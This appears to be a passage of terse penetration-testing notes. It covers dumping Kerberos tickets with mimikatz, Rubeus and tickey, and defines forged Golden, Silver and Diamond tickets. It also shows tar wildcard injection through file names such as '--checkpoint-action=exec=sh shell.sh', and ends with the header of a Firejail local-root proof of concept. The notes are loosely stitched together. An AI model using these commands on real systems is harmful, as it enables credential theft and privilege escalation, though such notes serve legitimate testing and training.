Convert Tickets dumped with Rubeus into base64

sekurlsa::tickets /export
.\Rubeus dump

Harvest Tickets from Windows

cp tickey /tmp/tickey
/tmp/tickey -i

• If none return, default is FILE:/tmp/krb5cc_%{uid}

• In Case of File Tickets it is possible to Copy-Paste them to use them

• In Case of being KEYRING Tickets, the Tool tickey can be used to get them

• To dump User Tickets, if root, it is recommended to dump them all by injecting in other user processes

• To inject, the Ticket have to be copied in a reachable Folder by all Users

grep default_ccache_name /etc/krb5.conf

• Golden Ticket is a Ticket Granting Ticket (TGT) and completely forged offline (KRBTGT Account Hash needed).

• Silver Ticket is a forged service authentication ticket (Service Principal Name (SPN) and Machine Account Keys (Hash in RC4 or AES) needed). Silver Tickets do not touch the Domain Controller (DC).

• Diamond Ticket is essentially a Golden Ticket but requested from a Domain Controller (DC).

Wildcards

https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

With the command touch -- --checkpoint=1 will be a file created. Why? Because the -- behind the command touch is telling touch, that there's option to be wait for. Instead of an option, it creates a file, named --checkpoint=1.

touch -- --checkpoint=1

or

touch ./--checkpoint=1

So after creating the --checkpoint=1 file, i created another file, which executes a shell script.

touch -- '--checkpoint-action=exec=sh shell.sh'

or

touch ./--checkpoint-action=exec=<FILE>

To delete a misconfigured file, put a ./ in front of it.

rm ./'--checkpoint-action=exec=python script.sh'

# Proof of concept local root exploit for a vulnerability in Firejail 0.9.68
# in joining Firejail instances.
#
# Prerequisites:
# - the firejail setuid-root binary needs to be installed and accessible to the
#   invoking user
#
# Exploit: The exploit tricks the Firejail setuid-root program to join a fake
# Firejail instance. By using tmpfs mounts and symlinks in the unprivileged
# user namespace of the fake Firejail instance the result will be a shell that
# lives in an attacker controller mount namespace while the user namespace is
# still the initial user namespace and the nonewprivs setting is unset,
# allowing to escalate privileges via su or sudo.
